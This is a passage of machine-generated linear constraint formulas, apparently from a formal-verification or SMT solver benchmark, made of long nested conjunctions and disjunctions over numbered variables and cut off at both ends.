== -3.0) || (((x_16 + (-1.0 * _x_x_22)) == -11.0) || (((x_12 + (-1.0 * _x_x_22)) == -16.0) || (((x_9 + (-1.0 * _x_x_22)) == -2.0) || (((x_5 + (-1.0 * _x_x_22)) == -5.0) || (((x_1 + (-1.0 * _x_x_22)) == -8.0) || ((x_2 + (-1.0 * _x_x_22)) == -6.0)))))))))))))))))))))) && ((((x_37 + (-1.0 * _x_x_23)) <= -15.0) && (((x_36 + (-1.0 * _x_x_23)) <= -1.0) && (((x_35 + (-1.0 * _x_x_23)) <= -20.0) && (((x_34 + (-1.0 * _x_x_23)) <= -5.0) && (((x_28 + (-1.0 * _x_x_23)) <= -2.0) && (((x_26 + (-1.0 * _x_x_23)) <= -1.0) && (((x_24 + (-1.0 * _x_x_23)) <= -19.0) && (((x_23 + (-1.0 * _x_x_23)) <= -14.0) && (((x_22 + (-1.0 * _x_x_23)) <= -18.0) && (((x_21 + (-1.0 * _x_x_23)) <= -15.0) && (((x_19 + (-1.0 * _x_x_23)) <= -10.0) && (((x_18 + (-1.0 * _x_x_23)) <= -8.0) && (((x_14 + (-1.0 * _x_x_23)) <= -19.0) && (((x_13 + (-1.0 * _x_x_23)) <= -17.0) && (((x_12 + (-1.0 * _x_x_23)) <= -13.0) && (((x_10 + (-1.0 * _x_x_23)) <= -1.0) && (((x_8 + (-1.0 * _x_x_23)) <= -2.0) && (((x_5 + (-1.0 * _x_x_23)) <= -11.0) && (((x_1 + (-1.0 * _x_x_23)) <= -16.0) && ((x_2 + (-1.0 * _x_x_23)) <= -19.0)))))))))))))))))))) && (((x_37 + (-1.0 * _x_x_23)) == -15.0) || (((x_36 + (-1.0 * _x_x_23)) == -1.0) || (((x_35 + (-1.0 * _x_x_23)) == -20.0) || (((x_34 + (-1.0 * _x_x_23)) == -5.0) || (((x_28 + (-1.0 * _x_x_23)) == -2.0) || (((x_26 + (-1.0 * _x_x_23)) == -1.0) || (((x_24 + (-1.0 * _x_x_23)) == -19.0) || (((x_23 + (-1.0 * _x_x_23)) == -14.0) || (((x_22 + (-1.0 * _x_x_23)) == -18.0) || (((x_21 + (-1.0 * _x_x_23)) == -15.0) || (((x_19 + (-1.0 * _x_x_23)) == -10.0) || (((x_18 + (-1.0 * _x_x_23)) == -8.0) || (((x_14 + (-1.0 * _x_x_23)) == -19.0) || (((x_13 + (-1.0 * _x_x_23)) == -17.0) || (((x_12 + (-1.0 * _x_x_23)) == -13.0) || (((x_10 + (-1.0 * _x_x_23)) == -1.0) || (((x_8 + (-1.0 * _x_x_23)) == -2.0) || (((x_5 + (-1.0 * _x_x_23)) == -11.0) || (((x_1 + (-1.0 * _x_x_23)) == -16.0) || ((x_2 + (-1.0 * _x_x_23)) == -19.0)))))))))))))))))))))) && ((((x_35 + (-1.0 * _x_x_24)) <= -1.0) && (((x_32 + (-1.0 * _x_x_24)) <= -20.0) && (((x_31 + (-1.0 * _x_x_24)) <= -18.0) && (((x_29 + (-1.0 * _x_x_24)) <= -17.0) && (((x_27 + (-1.0 * _x_x_24)) <= -14.0) && (((x_26 + (-1.0 * _x_x_24)) <= -8.0) && (((x_25 + (-1.0 * _x_x_24)) <= -17.0) && (((x_24 + (-1.0 * _x_x_24)) <= -1.0) && (((x_23 + (-1.0 * _x_x_24)) <= -8.0) && (((x_21 + (-1.0 * _x_x_24)) <= -6.0) && (((x_19 + (-1.0 * _x_x_24)) <= -14.0) && (((x_17 + (-1.0 * _x_x_24)) <= -7.0) && (((x_16 + (-1.0 * _x_x_24)) <= -15.0) && (((x_13 + (-1.0 * _x_x_24)) <= -3.0) && (((x_12 + (-1.0 * _x_x_24)) <= -20.0) && (((x_7 + (-1.0 * _x_x_24)) <= -10.0) && (((x_6 + (-1.0 * _x_x_24)) <= -5.0) && (((x_5 + (-1.0 * _x_x_24)) <= -14.0) && (((x_1 + (-1.0 * _x_x_24)) <= -3.0) && ((x_2 + (-1.0 * _x_x_24)) <= -6.0)))))))))))))))))))) && (((x_35 + (-1.0 * _x_x_24)) == -1.0) || (((x_32 + (-1.0 * _x_x_24)) == -20.0) || (((x_31 + (-1.0 * _x_x_24)) == -18.0) || (((x_29 + (-1.0 * _x_x_24)) == -17.0) || (((x_27 + (-1.0 * _x_x_24)) == -14.0) || (((x_26 + (-1.0 * _x_x_24)) == -8.0) || (((x_25 + (-1.0 * _x_x_24)) == -17.0) || (((x_24 + (-1.0 * _x_x_24)) == -1.0) || (((x_23 + (-1.0 * _x_x_24)) == -8.0) || (((x_21 + (-1.0 * _x_x_24)) == -6.0) || (((x_19 + (-1.0 * _x_x_24)) == -14.0) || (((x_17 + (-1.0 * _x_x_24)) == -7.0) || (((x_16 + (-1.0 * _x_x_24)) == -15.0) || (((x_13 + (-1.0 * _x_x_24)) == -3.0) || (((x_12 + (-1.0 * _x_x_24)) == -20.0) || (((x_7 + (-1.0 * _x_x_24)) == -10.0) || (((x_6 + (-1.0 * _x_x_24)) == -5.0) || (((x_5 + (-1.0 * _x_x_24)) == -14.0) || (((x_1 + (-1.0 * _x_x_24)) == -3.0) || ((x_2 + (-1.0 * _x_x_24)) == -6.0)))))))))))))))))))))) && ((((x_36 + (-1.0 * _x_x_25)) <= -18.0) && (((x_35 + (-1.0 * _x_x_25)) <= -2.0) && (((x_34 + (-1.0 * _x_x_25)) <= -12.0) && (((x_32 + (-1.0 * _x_x_25)) <= -3.0) && (((x_31 + (-1.0 * _x_x_25)) <= -20.0) && (((x_30 + (-1.0 * _x_x_25)) <= -18.0) && (((x_29 + (-1.0 * _x_x_25)) <= -7.0) && (((x_27 + (-1.0 * _x_x_25)) <= -3.0) && (((x_24 + (-1.0 * _x_x_25)) <= -15.0) && (((x_23 + (-1.0 * _x_x_25)) <= -15.0) && (((x_21 + (-1.0 * _x_x_25)) <= -9.0) && (((x_19 + (-1.0 * _x_x_25)) <= -13.0) && (((x_17 + (-1.0 * _x_x_25)) <= -12.0) && (((x_16 + (-1.0 * _x_x_25)) <= -1.0) && (((x_14 + (-1.0 * _x_x_25)) <= -2.0) && (((x_12 + (-1.0 * _x_x_25)) <= -4.0) && (((x_11 + (-1.0 * _x_x_25)) <= -18.0) && (((x_5 + (-1.0 * _x_x_25)) <= -16.0) && (((x_2 + (-1.0 * _x_x_25)) <= -11.0) && ((x_3 + (-1.0 * _x_x_25)) <= -6.0)))))))))))))))))))) && (((x_36 + (-1.0 * _x_x_25)) == -18.0) || (((x_35 + (-1.0 * _x_x_25)) == -2.0) || (((x_34 + (-1.0 * _x_x_25)) == -12.0) || (((x_32 + (-1.0 * _x_x_25)) == -3.0) || (((x_31 + (-1.0 * _x_x_25)) == -20.0) || (((x_30 + (-1.0 * _x_x_25)) == -18.0) || (((x_29 + (-1.0 * _x_x_25)) == -7.0) || (((x_27 + (-1.0 * _x_x_25)) == -3.0) || (((x_24 + (-1.0 * _x_x_25)) == -15.0) || (((x_23 + (-1.0 * _x_x_25)) == -15.0) || (((x_21 + (-1.0 * _x_x_25)) == -9.0) || (((x_19 + (-1.0 * _x_x_25)) == -13.0) || (((x_17 + (-1.0 * _x_x_25)) == -12.0) || (((x_16 + (-1.0 * _x_x_25)) == -1.0) || (((x_14 + (-1.0 * _x_x_25)) == -2.0) || (((x_12 + (-1.0 * _x_x_25)) == -4.0) || (((x_11 + (-1.0 * _x_x_25)) == -18.0) || (((x_5 + (-1.0 * _x_x_25)) == -16.0) || (((x_2 + (-1.0 * _x_x_25)) == -11.0) || ((x_3 + (-1.0 * _x_x_25)) == -6.0)))))))))))))))))))))) && ((((x_39 + (-1.0 * _x_x_26)) <= -18.0) && (((x_34 + (-1.0 * _x_x_26)) <= -14.0) && (((x_30 + (-1.0 * _x_x_26)) <= -13.0) && (((x_28 + (-1.0 * _x_x_26)) <= -12.0) && (((x_26 + (-1.0 * _x_x_26)) <= -15.0) && (((x_25 + (-1.0 * _x_x_26)) <= -13.0) && (((x_22 + (-1.0 * _x_x_26)) <= -9.0) && (((x_21 + (-1.0 * _x_x_26)) <= -14.0) && (((x_20 + (-1.0 * _x_x_26)) <= -19.0) && (((x_19 + (-1.0 * _x_x_26)) <= -15.0) && (((x_18 + (-1.0 * _x_x_26)) <= -4.0) && (((x_17 + (-1.0 * _x_x_26)) <= -1.0) && (((x_16 + (-1.0 * _x_x_26)) <= -7.0) && (((x_14 + (-1.0 * _x_x_26)) <= -8.0) && (((x_11 + (-1.0 * _x_x_26)) <= -12.0) && (((x_10 + (-1.0 * _x_x_26)) <= -20.0) && (((x_7 + (-1.0 * _x_x_26)) <= -6.0) && (((x_6 + (-1.0 * _x_x_26)) <= -8.0) && (((x_0 + (-1.0 * _x_x_26)) <= -20.0) && ((x_4 + (-1.0 * _x_x_26)) <= -20.0)))))))))))))))))))) && (((x_39 + (-1.0 * _x_x_26)) == -18.0) || (((x_34 + (-1.0 * _x_x_26)) == -14.0) || (((x_30 + (-1.0 * _x_x_26)) == -13.0) || (((x_28 + (-1.0 * _x_x_26)) == -12.0) || (((x_26 + (-1.0 * _x_x_26)) == -15.0) || (((x_25 + (-1.0 * _x_x_26)) == -13.0) || (((x_22 + (-1.0 * _x_x_26)) == -9.0) || (((x_21 + (-1.0 * _x_x_26)) == -14.0) || (((x_20 + (-1.0 * _x_x_26)) == -19.0) || (((x_19 + (-1.0 * _x_x_26)) == -15.0) || (((x_18 + (-1.0 * _x_x_26)) == -4.0) || (((x_17 + (-1.0 * _x_x_26)) == -1.0) || (((x_16 + (-1.0 * _x_x_26)) == -7.0) || (((x_14 + (-1.0 * _x_x_26)) == -8.0) || (((x_11 + (-1.0 * _x_x_26)) == -12.0) || (((x_10 + (-1.0 * _x_x_26)) == -20.0) || (((x_7 + (-1.0 * _x_x_26)) == -6.0) || (((x_6 + (-1.0 * _x_x_26)) == -8.0) || (((x_0 + (-1.0 * _x_x_26)) == -20.0) || ((x_4 + (-1.0 * _x_x_26)) == -20.0)))))))))))))))))))))) && ((((x_38 + (-1.0 * _x_x_27)) <= -19.0) && (((x_37 + (-1.0 * _x_x_27)) <= -8.0) && (((x_35 + (-1.0 * _x_x_27)) <= -11.0) && (((x_34 + (-1.0 * _x_x_27)) <= -4.0) && (((x_33 + (-1.0 * _x_x_27)) <= -19.0) && (((x_28 + (-1.0 * _x_x_27)) <= -9.0) && (((x_27 + (-1.0 * _x_x_27)) <= -11.0) && (((x_26 + (-1.0 * _x_x_27)) <= -17.0) && (((x_24 + (-1.0 * _x_x_27)) <= -11.0) && (((x_22 + (-1.0 * _x_x_27)) <= -5.0) && (((x_21 + (-1.0 * _x_x_27)) <= -6.0) && (((x_19 + (-1.0 * _x_x_27)) <= -2.0) && (((x_18 + (-1.0 * _x_x_27)) <= -11.0) && (((x_17 + (-1.0 * _x_x_27)) <= -12.0) && (((x_15 + (-1.0 * _x_x_27)) <= -12.0) && (((x_14 + (-1.0 * _x_x_27)) <= -17.0) && (((x_13 + (-1.0 * _x_x_27)) <= -11.0) && (((x_12 + (-1.0 * _x_x_27)) <= -20.0) && (((x_1 + (-1.0 * _x_x_27)) <= -18.0) && ((x_8 + (-1.0 * _x_x_27)) <= -8.0)))))))))))))))))))) && (((x_38 + (-1.0 * _x_x_27)) == -19.0) || (((x_37 + (-1.0 * _x_x_27)) == -8.0) || (((x_35 + (-1.0 * _x_x_27)) == -11.0) || (((x_34 + (-1.0 * _x_x_27)) == -4.0) || (((x_33 + (-1.0 * _x_x_27)) == -19.0) || (((x_28 + (-1.0 * _x_x_27)) == -9.0) || (((x_27 + (-1.0 * _x_x_27)) == -11.0) || (((x_26 + (-1.0 * _x_x_27)) == -17.0) || (((x_24 + (-1.0 * _x_x_27)) == -11.0) || (((x_22 + (-1.0 * _x_x_27)) == -5.0) || (((x_21 + (-1.0 * _x_x_27)) == -6.0) || (((x_19 + (-1.0 * _x_x_27)) == -2.0) || (((x_18 + (-1.0 * _x_x_27)) == -11.0) || (((x_17 + (-1.0 * _x_x_27)) == -12.0) || (((x_15 + (-1.0 * _x_x_27)) == -12.0) || (((x_14 + (-1.0 * _x_x_27)) == -17.0) || (((x_13 + (-1.0 * _x_x_27)) == -11.0) || (((x_12 + (-1.0 * _x_x_27)) == -20.0) || (((x_1 + (-1.0 * _x_x_27)) == -18.0) || ((x_8 + (-1.0 * _x_x_27)) == -8.0)))))))))))))))))))))) && ((((x_36 + (-1.0 * _x_x_28)) <= -20.0) && (((x_34 + (-1.0 * _x_x_28)) <= -6.0) && (((x_33 + (-1.0 * _x_x_28)) <= -6.0) && (((x_32 + (-1.0 * _x_x_28)) <= -9.0) && (((x_30 + (-1.0 * _x_x_28)) <= -14.0) && (((x_28 + (-1.0 * _x_x_28)) <= -3.0) && (((x_25 + (-1.0 * _x_x_28)) <= -3.0) && (((x_23 + (-1.0 * _x_x_28)) <= -18.0) && (((x_21 + (-1.0 * _x_x_28)) <= -15.0) && (((x_20 + (-1.0 * _x_x_28)) <= -15.0) && (((x_18 + (-1.0 * _x_x_28)) <= -9.0) && (((x_16 + (-1.0 * _x_x_28)) <= -17.0) && (((x_15 + (-1.0 * _x_x_28)) <= -16.0) && (((x_14 + (-1.0 * _x_x_28)) <= -9.0) && (((x_12 + (-1.0 * _x_x_28)) <= -2.0) && (((x_7 + (-1.0 * _x_x_28)) <= -11.0) && (((x_6 + (-1.0 * _x_x_28)) <= -11.0) && (((x_5 + (-1.0 * _x_x_28)) <= -20.0) && (((x_2 + (-1.0 * _x_x_28)) <= -1.0) && ((x_4 + (-1.0 * _x_x_28)) <= -6.0)))))))))))))))))))) && (((x_36 + (-1.0 * _x_x_28)) == -20.0) || (((x_34 + (-1.0 * _x_x_28)) == -6.0) || (((x_33 + (-1.0 * _x_x_28)) == -6.0) || (((x_32 + (-1.0 * _x_x_28)) == -9.0) || (((x_30 + (-1.0 * _x_x_28)) == -14.0) || (((x_28 + (-1.0 * _x_x_28)) == -3.0) || (((x_25 + (-1.0 * _x_x_28)) == -3.0) || (((x_23 + (-1.0 * _x_x_28)) == -18.0) || (((x_21 + (-1.0 * _x_x_28)) == -15.0) || (((x_20 + (-1.0 * _x_x_28)) == -15.0) || (((x_18 + (-1.0 * _x_x_28)) == -9.0) || (((x_16 + (-1.0 * _x_x_28)) == -17.0) || (((x_15 + (-1.0 * _x_x_28)) == -16.0) || (((x_14 + (-1.0 * _x_x_28)) == -9.0) || (((x_12 + (-1.0 * _x_x_28)) == -2.0) || (((x_7 + (-1.0 * _x_x_28)) == -11.0) || (((x_6 + (-1.0 * _x_x_28)) == -11.0) || (((x_5 + (-1.0 * _x_x_28)) == -20.0) || (((x_2 + (-1.0 * _x_x_28)) == -1.0) || ((x_4 + (-1.0 * _x_x_28)) == -6.0)))))))))))))))))))))) && ((((x_39 + (-1.0 * _x_x_29)) <= -7.0) && (((x_36 + (-1.0 * _x_x_29)) <= -19.0) && (((x_34 + (-1.0 * _x_x_29)) <= -9.0) && (((x_32 + (-1.0 * _x_x_29)) <= -5.0) && (((x_30 + (-1.0 * _x_x_29)) <= -3.0) && (((x_28 + (-1.0 * _x_x_29)) <= -13.0) && (((x_27 + (-1.0 * _x_x_29)) <= -20.0) && (((x_25 + (-1.0 * _x_x_29)) <= -15.0) && (((x_24 + (-1.0 * _x_x_29)) <= -15.0) && (((x_23 + (-1.0 * _x_x_29)) <= -20.0) && (((x_17 + (-1.0 * _x_x_29)) <= -16.0) && (((x_16 + (-1.0 * _x_x_29)) <= -6.0) && (((x_15 + (-1.0 * _x_x_29)) <= -5.0) && (((x_13 + (-1.0 * _x_x_29)) <= -7.0) && (((x_11 + (-1.0 * _x_x_29)) <= -10.0) && (((x_10 + (-1.0 * _x_x_29)) <= -10.0) && (((x_6 + (-1.0 * _x_x_29)) <= -20.0) && (((x_4 + (-1.0 * _x_x_29)) <= -18.0) && (((x_1 + (-1.0 * _x_x_29)) <= -14.0) && ((x_3 + (-1.0 * _x_x_29)) <= -9.0)))))))))))))))))))) && (((x_39 + (-1.0 * _x_x_29)) == -7.0) || (((x_36 + (-1.0 * _x_x_29)) == -19.0) || (((x_34 + (-1.0 * _x_x_29)) == -9.0) || (((x_32 + (-1.0 * _x_x_29)) == -5.0) || (((x_30 + (-1.0 * _x_x_29)) == -3.0) || (((x_28 + (-1.0 * _x_x_29)) == -13.0) || (((x_27 + (-1.0 * _x_x_29)) == -20.0) || (((x_25 + (-1.0 * _x_x_29)) == -15.0) || (((x_24 + (-1.0 * _x_x_29)) == -15.0) || (((x_23 + (-1.0 * _x_x_29)) == -20.0) || (((x_17 + (-1.0 * _x_x_29)) == -16.0) || (((x_16 + (-1.0 * _x_x_29)) == -6.0) || (((x_15 + (-1.0 * _x_x_29)) == -5.0) || (((x_13 + (-1.0 * _x_x_29)) == -7.0) || (((x_11 + (-1.0 * _x_x_29)) == -10.0) || (((x_10 + (-1.0 * _x_x_29)) == -10.0) || (((x_6 + (-1.0 * _x_x_29)) == -20.0) || (((x_4 + (-1.0 * _x_x_29)) == -18.0) || (((x_1 + (-1.0 * _x_x_29)) == -14.0) || ((x_3 + (-1.0 * _x_x_29)) == -9.0)))))))))))))))))))))) && ((((x_36 + (-1.0 * _x_x_30)) <= -16.0) && (((x_34 + (-1.0 * _x_x_30)) <= -15.0) && (((x_32 + (-1.0 * _x_x_30)) <= -18.0) && (((x_31 + (-1.0 * _x_x_30)) <= -16.0) && (((x_30 + (-1.0 * _x_x_30)) <= -13.0) && (((x_28 + (-1.0 * _x_x_30)) <= -9.0) && (((x_27 + (-1.0 * _x_x_30)) <= -20.0) && (((x_25 + (-1.0 * _x_x_30)) <= -2.0) && (((x_24 + (-1.0 * _x_x_30)) <= -2.0) && (((x_23 + (-1.0 * _x_x_30)) <= -13.0) && (((x_21 + (-1.0 * _x_x_30)) <= -7.0) && (((x_19 + (-1.0 * _x_x_30)) <= -6.0) && (((x_17 + (-1.0 * _x_x_30)) <= -2.0) && (((x_16 + (-1.0 * _x_x_30)) <= -3.0) && (((x_15 + (-1.0 * _x_x_30)) <= -6.0) && (((x_12 + (-1.0 * _x_x_30)) <= -4.0) && (((x_11 + (-1.0 * _x_x_30)) <= -15.0) && (((x_9 + (-1.0 * _x_x_30)) <= -13.0) && (((x_4 + (-1.0 * _x_x_30)) <= -15.0) && ((x_6 + (-1.0 * _x_x_30)) <= -1.0)))))))))))))))))))) && (((x_36 + (-1.0 * _x_x_30)) == -16.0) || (((x_34 + (-1.0 * _x_x_30)) == -15.0) || (((x_32 + (-1.0 * _x_x_30)) == -18.0) || (((x_31 + (-1.0 * _x_x_30)) == -16.0) || (((x_30 + (-1.0 * _x_x_30)) == -13.0) || (((x_28 + (-1.0 * _x_x_30)) == -9.0) || (((x_27 + (-1.0 * _x_x_30)) == -20.0) || (((x_25 + (-1.0 * _x_x_30)) == -2.0) || (((x_24 + (-1.0 * _x_x_30)) == -2.0) || (((x_23 + (-1.0 * _x_x_30)) == -13.0) || (((x_21 + (-1.0 * _x_x_30)) == -7.0) || (((x_19 + (-1.0 * _x_x_30)) == -6.0) || (((x_17 + (-1.0 * _x_x_30)) == -2.0) || (((x_16 + (-1.0 * _x_x_30)) == -3.0) || (((x_15 + (-1.0 * _x_x_30)) == -6.0) || (((x_12 + (-1.0 * _x_x_30)) == -4.0) || (((x_11 + (-1.0 * _x_x_30)) == -15.0) || (((x_9 + (-1.0 * _x_x_30)) == -13.0) || (((x_4 + (-1.0 * _x_x_30)) == -15.0) || ((x_6 + (-1.0 * _x_x_30)) == -1.0)))))))))))))))))))))) && ((((x_39 + (-1.0 * _x_x_31)) <= -9.0) && (((x_38 + (-1.0 * _x_x_31)) <= -14.0) && (((x_37 + (-1.0 * _x_x_31)) <= -8.0) && (((x_36 + (-1.0 * _x_x_31)) <= -1.0) && (((x_34 + (-1.0 * _x_x_31)) <= -18.0) && (((x_31 + (-1.0 * _x_x_31)) <= -8.0) && (((x_30 + (-1.0 * _x_x_31)) <= -19.0) && (((x_29 + (-1.0 * _x_x_31)) <= -1.0) && (((x_28 + (-1.0 * _x_x_31)) <= -19.0) && (((x_19 + (-1.0 * _x_x_31)) <= -2.0) && (((x_18 + (-1.0 * _x_x_31)) <= -7.0) && (((x_16 + (-1.0 * _x_x_31)) <= -13.0) && (((x_14 + (-1.0 * _x_x_31)) <= -2.0) && (((x_11 + (-1.0 * _x_x_31)) <= -16.0) && (((x_8 + (-1.0 * _x_x_31)) <= -5.0) && (((x_7 + (-1.0 * _x_x_31)) <= -14.0) && (((x_6 + (-1.0 * _x_x_31)) <= -1.0) && (((x_4 + (-1.0 * _x_x_31)) <= -1.0) && (((x_1 + (-1.0 * _x_x_31)) <= -20.0) && ((x_3 + (-1.0 * _x_x_31)) <= -6.0)))))))))))))))))))) && (((x_39 + (-1.0 * _x_x_31)) == -9.0) || (((x_38 + (-1.0 * _x_x_31)) == -14.0) || (((x_37 + (-1.0 * _x_x_31)) == -8.0) || (((x_36 + (-1.0 * _x_x_31)) == -1.0) || (((x_34 + (-1.0 * _x_x_31)) == -18.0) || (((x_31 + (-1.0 * _x_x_31)) == -8.0) || (((x_30 + (-1.0 * _x_x_31)) == -19.0) || (((x_29 + (-1.0 * _x_x_31)) == -1.0) || (((x_28 + (-1.0 * _x_x_31)) == -19.0) || (((x_19 + (-1.0 * _x_x_31)) == -2.0) || (((x_18 + (-1.0 * _x_x_31)) == -7.0) || (((x_16 + (-1.0 * _x_x_31)) == -13.0) || (((x_14 + (-1.0 * _x_x_31)) == -2.0) || (((x_11 + (-1.0 * _x_x_31)) == -16.0) || (((x_8 + (-1.0 * _x_x_31)) == -5.0) || (((x_7 + (-1.0 * _x_x_31)) == -14.0) || (((x_6 + (-1.0 * _x_x_31)) == -1.0) || (((x_4 + (-1.0 * _x_x_31)) == -1.0) || (((x_1 + (-1.0 * _x_x_31)) == -20.0) || ((x_3 + (-1.0 * _x_x_31)) == -6.0)))))))))))))))))))))) && ((((x_39 + (-1.0 * _x_x_32)) <= -1.0) && (((x_35 + (-1.0 * _x_x_32)) <= -17.0) && (((x_34 + (-1.0 * _x_x_32)) <= -15.0) && (((x_32 + (-1.0 * _x_x_32)) <= -2.0) && (((x_31 + (-1.0 * _x_x_32)) <= -19.0) && (((x_26 + (-1.0 * _x_x_32)) <= -2.0) && (((x_25 + (-1.0 * _x_x_32)) <= -3.0) && (((x_23 + (-1.0 * _x_x_32)) <= -8.0) && (((x_22 + (-1.0 * _x_x_32)) <= -15.0) && (((x_18 + (-1.0 * _x_x_32)) <= -12.0) && (((x_16 + (-1.0 * _x_x_32)) <= -5.0) && (((x_13 + (-1.0 * _x_x_32)) <= -9.0) && (((x_11 + (-1.0 * _x_x_32)) <= -7.0) && (((x_10 + (-1.0 * _x_x_32)) <= -5.0) && (((x_8 + (-1.0 * _x_x_32)) <= -17.0) && (((x_4 + (-1.0 * _x_x_32)) <= -2.0) && (((x_3 + (-1.0 * _x_x_32)) <= -19.0) && (((x_2 + (-1.0 * _x_x_32)) <= -12.0) && (((x_0 + (-1.0 * _x_x_32)) <= -14.0) && ((x_1 + (-1.0 * _x_x_32)) <= -13.0)))))))))))))))))))) && (((x_39 + (-1.0 * _x_x_32)) == -1.0) || (((x_35 + (-1.0 * _x_x_32)) == -17.0) || (((x_34 + (-1.0 * _x_x_32)) == -15.0) || (((x_32 + (-1.0 * _x_x_32)) == -2.0) || (((x_31 + (-1.0 * _x_x_32)) == -19.0) || (((x_26 + (-1.0 * _x_x_32)) == -2.0) || (((x_25 + (-1.0 * _x_x_32)) == -3.0) || (((x_23 + (-1.0 * _x_x_32)) == -8.0) || (((x_22 + (-1.0 * _x_x_32)) == -15.0) || (((x_18 + (-1.0 * _x_x_32)) == -12.0) || (((x_16 + (-1.0 * _x_x_32)) == -5.0) || (((x_13 + (-1.0 * _x_x_32)) == -9.0) || (((x_11 + (-1.0 * _x_x_32)) == -7.0) || (((x_10 + (-1.0 * _x_x_32)) == -5.0) || (((x_8 + (-1.0 * _x_x_32)) == -17.0) || (((x_4 + (-1.0 * _x_x_32)) == -2.0) || (((x_3 + (-1.0 * _x_x_32)) == -19.0) || (((x_2 + (-1.0 * _x_x_32)) == -12.0) || (((x_0 + (-1.0 * _x_x_32)) == -14.0) || ((x_1 + (-1.0 * _x_x_32)) == -13.0)))))))))))))))))))))) && ((((x_38 + (-1.0 * _x_x_33)) <= -15.0) && (((x_37 + (-1.0 * _x_x_33)) <= -3.0) && (((x_36 + (-1.0 * _x_x_33)) <= -6.0) && (((x_32 + (-1.0 * _x_x_33)) <= -6.0) && (((x_31 + (-1.0 * _x_x_33)) <= -14.0) && (((x_30 + (-1.0 * _x_x_33)) <= -15.0) && (((x_27 + (-1.0 * _x_x_33)) <= -13.0) && (((x_26 + (-1.0 * _x_x_33)) <= -16.0) && (((x_25 + (-1.0 * _x_x_33)) <= -5.0) && (((x_24 + (-1.0 * _x_x_33)) <= -18.0) && (((x_22 + (-1.0 * _x_x_33)) <= -9.0) && (((x_21 + (-1.0 * _x_x_33)) <= -18.0) && (((x_20 + (-1.0 * _x_x_33)) <= -18.0) && (((x_19 + (-1.0 * _x_x_33)) <= -5.0) && (((x_18 + (-1.0 * _x_x_33)) <= -6.0) && (((x_17 + (-1.0 * _x_x_33)) <= -4.0) && (((x_13 + (-1.0 * _x_x_33)) <= -7.0) && (((x_10 + (-1.0 * _x_x_33)) <= -10.0) && (((x_4 + (-1.0 * _x_x_33)) <= -14.0) && ((x_9 + (-1.0 * _x_x_33)) <= -12.0)))))))))))))))))))) && (((x_38 + (-1.0 * _x_x_33)) == -15.0) || (((x_37 + (-1.0 * _x_x_33)) == -3.0) || (((x_36 + (-1.0 * _x_x_33)) == -6.0) || (((x_32 + (-1.0 * _x_x_33)) == -6.0) || (((x_31 + (-1.0 * _x_x_33)) == -14.0) || (((x_30 + (-1.0 * _x_x_33)) == -15.0) || (((x_27 + (-1.0 * _x_x_33)) == -13.0) || (((x_26 + (-1.0 * _x_x_33)) == -16.0) || (((x_25 + (-1.0 * _x_x_33)) == -5.0) || (((x_24 + (-1.0 * _x_x_33)) == -18.0) || (((x_22 + (-1.0 * _x_x_33)) == -9.0) || (((x_21 + (-1.0 * _x_x_33)) == -18.0) || (((x_20 + (-1.0 * _x_x_33)) == -18.0) || (((x_19 + (-1.0 * _x_x_33)) == -5.0) || (((x_18 + (-1.0 * _x_x_33)) == -6.0) || (((x_17 + (-1.0 * _x_x_33)) == -4.0) || (((x_13 + (-1.0 * _x_x_33)) == -7.0) || (((x_10 + (-1.0 * _x_x_33)) == -10.0) || (((x_4 + (-1.0 * _x_x_33)) == -14.0) || ((x_9 + (-1.0 * _x_x_33)) == -12.0)))))))))))))))))))))) && ((((x_38 + (-1.0 * _x_x_34)) <= -15.0) && (((x_36 + (-1.0 * _x_x_34)) <= -13.0) && (((x_35 + (-1.0 * _x_x_34)) <= -18.0) && (((x_33 + (-1.0 * _x_x_34)) <= -11.0) && (((x_31 + (-1.0 * _x_x_34)) <= -8.0) && (((x_30 + (-1.0 * _x_x_34)) <= -16.0) && (((x_26 + (-1.0 * _x_x_34)) <= -4.0) && (((x_24 + (-1.0 * _x_x_34)) <= -18.0) && (((x_20 + (-1.0 * _x_x_34)) <= -7.0) && (((x_19 + (-1.0 * _x_x_34)) <= -2.0) && (((x_16 + (-1.0 * _x_x_34)) <= -20.0) && (((x_15 + (-1.0 * _x_x_34)) <= -1.0) && (((x_14 + (-1.0 * _x_x_34)) <= -18.0) && (((x_12 + (-1.0 * _x_x_34)) <= -13.0) && (((x_7 + (-1.0 * _x_x_34)) <= -4.0) && (((x_6 + (-1.0 * _x_x_34)) <= -3.0) && (((x_5 + (-1.0 * _x_x_34)) <= -5.0) && (((x_4 + (-1.0 * _x_x_34)) <= -6.0) && (((x_0 + (-1.0 * _x_x_34)) <= -6.0) && ((x_2 + (-1.0 * _x_x_34)) <= -9.0)))))))))))))))))))) && (((x_38 + (-1.0 * _x_x_34)) == -15.0) || (((x_36 + (-1.0 * _x_x_34)) == -13.0) || (((x_35 + (-1.0 * _x_x_34)) == -18.0) || (((x_33 + (-1.0 * _x_x_34)) == -11.0) || (((x_31 + (-1.0 * _x_x_34)) == -8.0) || (((x_30 + (-1.0 * _x_x_34)) == -16.0) || (((x_26 + (-1.0 * _x_x_34)) == -4.0) || (((x_24 + (-1.0 * _x_x_34)) == -18.0) || (((x_20 + (-1.0 * _x_x_34)) == -7.0) || (((x_19 + (-1.0 * _x_x_34)) == -2.0) || (((x_16 + (-1.0 * _x_x_34)) == -20.0) || (((x_15 + (-1.0 * _x_x_34)) == -1.0) || (((x_14 + (-1.0 * _x_x_34)) == -18.0) || (((x_12 + (-1.0 * _x_x_34)) == -13.0) || (((x_7 + (-1.0 * _x_x_34)) == -4.0) || (((x_6 + (-1.0 * _x_x_34)) == -3.0) || (((x_5 + (-1.0 * _x_x_34)) == -5.0) || (((x_4 + (-1.0 * _x_x_34)) == -6.0) || (((x_0 + (-1.0 * _x_x_34)) == -6.0) || ((x_2 + (-1.0 * _x_x_34)) == -9.0)))))))))))))))))))))) && ((((x_39 + (-1.0 * _x_x_35)) <= -5.0) && (((x_38 + (-1.0 * _x_x_35)) <= -7.0) && (((x_35 + (-1.0 * _x_x_35)) <= -8.0) && (((x_33 + (-1.0 * _x_x_35)) <= -20.0) && (((x_30 + (-1.0 * _x_x_35)) <= -3.0) && (((x_27 + (-1.0 * _x_x_35)) <= -12.0) && (((x_25 + (-1.0 * _x_x_35)) <= -18.0) && (((x_21 + (-1.0 * _x_x_35)) <= -13.0) && (((x_20 + (-1.0 * _x_x_35)) <= -19.0) && (((x_18 + (-1.0 * _x_x_35)) <= -9.0) && (((x_17 + (-1.0 * _x_x_35)) <= -5.0) && (((x_14 + (-1.0 * _x_x_35)) <= -18.0) && (((x_12 + (-1.0 * _x_x_35)) 